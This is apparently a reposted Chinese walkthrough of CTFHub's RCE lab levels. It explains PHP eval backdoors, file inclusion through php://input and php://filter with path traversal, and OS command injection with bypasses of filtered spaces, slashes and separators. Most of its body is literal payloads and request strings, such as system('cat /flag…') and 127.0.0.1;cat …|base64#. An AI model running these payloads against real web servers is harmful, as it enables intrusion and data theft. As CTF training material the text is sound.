CTFHub – RCE RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统 eval执行文件 查看一开始的源代码: 无效,要直接使用 得到flag:
RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统
查看一开始的源代码:
PHP if(isset($_REQUEST['cmd'])){ eval($_REQUEST['cmd']); }else{ highlight_file(__FILE__); }?>
php函数意思是:
是否由变量cmd 如果有,就执行eval($_REQUEST['cmd']);
也就是 木马
__isset判断一个变量是否已设置, 即变量已被声明,且其值为ture
所以我们在访问的时候使用变量 cmd
/?cmd=system("ls")
此处因为根目录无flag 所以看上一级目录
/?cmd=system("ls /")
然后查找flag:
/?cmd=system("cat /flag_5647")
error_reporting(0); if (isset($_GET['file'])) { if (!strpos($_GET["file"], "flag")) { include $_GET["file"]; } else { echo "Hacker!!!"; } } else { highlight_file(__FILE__);}?> <hr>i have a <a href="shell.txt">shell</a>, how to use it ?
strpos:查找字符串首次出现的位置
strpos(string,find,start)
参数 描述 string 必需。规定要搜索的字符串。 find 必需。规定要查找的字符串。 start 可选。规定在何处开始搜索。
所以php函数意思是:
如果get传参的变量中含有flag
就会执行 else 进行警告 Hacker!!!
否则,执行包含起来的文件: $_GET[“file”]
点击下面的
shell.txt
发现由eval漏洞
eval($_REQUEST['ctfhub']);?>
并且 $_REQUEST['ctfhub']
文件包含漏洞利用的前提条件:
(1)WEB 应用采用 include 等文件包含函数,并且需要包含的文件路径是通过用户传输参
数的方式引入;
(2)用户能够控制包含文件的参数,被包含的文件可被当前页面访问;
文件包含获取 webshell 的条件:
(1)攻击者需要知道文件存放的物理路径;
(2)对上传文件所在目录拥有可执行权限;
(3)存在文件包含漏洞;
所以本题存在文件包含漏洞
我们要想办法绕过 hacker(黑客)
到达include
所以我们找个变量指向一个没有 flag 的文件
而题中已经给了提示 shell.txt 同时有 eval漏洞
所以我们可以构造出:
从而获得flag
一开始给出源代码:
在没有shell脚本的情况下访问 flag ,第一时间想到了 上传文件漏洞,上传shell.php,奈何没有上传点只得作罢,换个思路:
我们是否可以用 burpsuite 来进行抓包,在BP上面改包,添加上我们想要的shell.php的内容,但问题来到了,这时候我们添加的 内容是以 post数据流存在的,没有以代码的方式执行
幸运的是 php是一个功能强大的语言
在php伪协议中存在php://input
php://input
作用:可用于查看源码,同时是要查看未压缩文件的只读流。在post请求中能查看请求的原始数据,并将post请求中的post数据当作php代码执行。(只读流是说只能进行读操作的数据)
条件:allow_url_fopen=off/on;allow_url_include=on
点击题中的 phpinfor 查看php情况,检查allow_url_include是否为on
然后,我们可以确定 本题考查就是 php://input
所以我们只要将 get改为 post 像这样:
POST /?file=php://input Http/1.1
然后在后面添加 shell:
system('ls /');?>
所以我们只要将 get改为 post 像这样:
POST /?file=php://input HTTP/1.1
然后在后面添加 shell:
system('ls /');?>
注:在本题使用无效,要直接使用
得到flag:
system('cat /flag_4627');?>
在php伪协议中还存在:php://filter
php://filter
条件:allow_url_fopen=off/on;allow_url_include=off/on
作用:用过滤器读写数据流
我们发现以本题的情况来看,php://也是可以使用
我们先了解下 php:filter
参数 | 描述 |
---|---|
read | 用读链的过滤器读数据流 |
write | 用写链的过滤器写数据流 |
resource | 声明过滤哪一个数据流 |
不指定读写 | 当不指定读写时会自己根据情况而定 |
我们可以直接构造:
?file=php://filter/resource=../../../flag
但问题来了,我们并不知道flag后面的数字,所以,我们直接使用是无法获得flag的
必须先使用 php://input 获得 flag
?file=php://filter/resource=../../../flag_28479
引入眼帘的就是这样一句话:
i don’t have shell, how to get flag?
自然而然地我们直接使用 php://input (上一关相同)
在解题的过程中,我们发现 所需要的文件名称 直接就是flag
但 php代码:echo
所以在本关我们可以直接使用 php://filter
?file=php://filter/resorce=../../../flag
题目中直接说 flag in
/flag`
所以我们直接使用 php://filter
?file=php://filter/resource=../../../flag
我们先了解下命令注入:
命令注入
后台直接执行系统命,一般要结合linux,windows的管道对要执行的命令进行拼接。 过滤的话大致分为两种情况:白名单,黑名单
黑名单是过滤到一些常用的参数,如果过滤的不全面可以考虑用其他相同功能的函数代替;如果黑名单比较全面,那就要考虑用编码的方式尝试绕过。
白名单是限制参数的使用范围,写死了的话应该常规的办法就没有用了。盲猜很多web都是基于白名单的。
可以通过echo,>>等方法生成php文件并写入一句话木马
Windows系统中命令的链接符号
先输入:
127.0.0.1&ls
127.0.0.1&cat 32506276723113.php|base64#
]然后进行 base64 解码
获得flag
在后面的关卡中,就是命令注入的黑名单应用了
在linux下,不只有cat 可以读取文件内容,more less head tac,都可以对文本进行读取。
当然我们使用的是windows ,但是也能用
127.0.0.1&ls
127.0.0.1; more flag_19336906025702.php | base64 #
在这一关过滤了空格
所以我们的思路就是使用特殊符号过滤空格
使用IFS$9、%09、<、>、<>、{,}、%20、${IFS}
、${IFS}
来代替空格
127.0.0.1&ls
127.0.0.1;cat 过滤了目录分割符 /既然过滤了/,那我们就不能直接查看文件里面的文件了也就是不能127.0.0.1 ; ls /flag_is_here/flag_294042268011398.php,这里利用分号使两个命令同时进行也就是127.0.0.1;cd flag_is_here;cat flag_9012297169124.php cd 进入flag_is_here目录, ls 显示flag_is_here目录里的内容。 所以 127.0.0.1&ls 127.0.0.1;flag_is_here;ls 127.0.0.1;flag_is_here;flag_294042268011398.php |base64# 在本关过滤掉了 | & 所以 127.0.0.1&ls 127.0.0.1; base64 flag_726327229931.php# 在本关过过滤了 | & ; / cat flag ctfhub 和空格 注意应为 %0a是url编码所以要在url栏中执行 127.0.0.1%0als 来源地址:https://blog.csdn.net/m0_62879498/article/details/123034847过滤目录分隔符
过滤运算符
综合练习
| & ; / cat flag ctfhub 和空格cat 用more 代替空格用 < 代替| 我们可以将 base64写在前面;(命令分隔符) 用%0a代替
--结束END--
本文标题: CTFHub 技能树-- RCE(详解)
本文链接: https://www.lsjlt.com/news/482652.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
下载Word文档到电脑,方便收藏和打印~
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0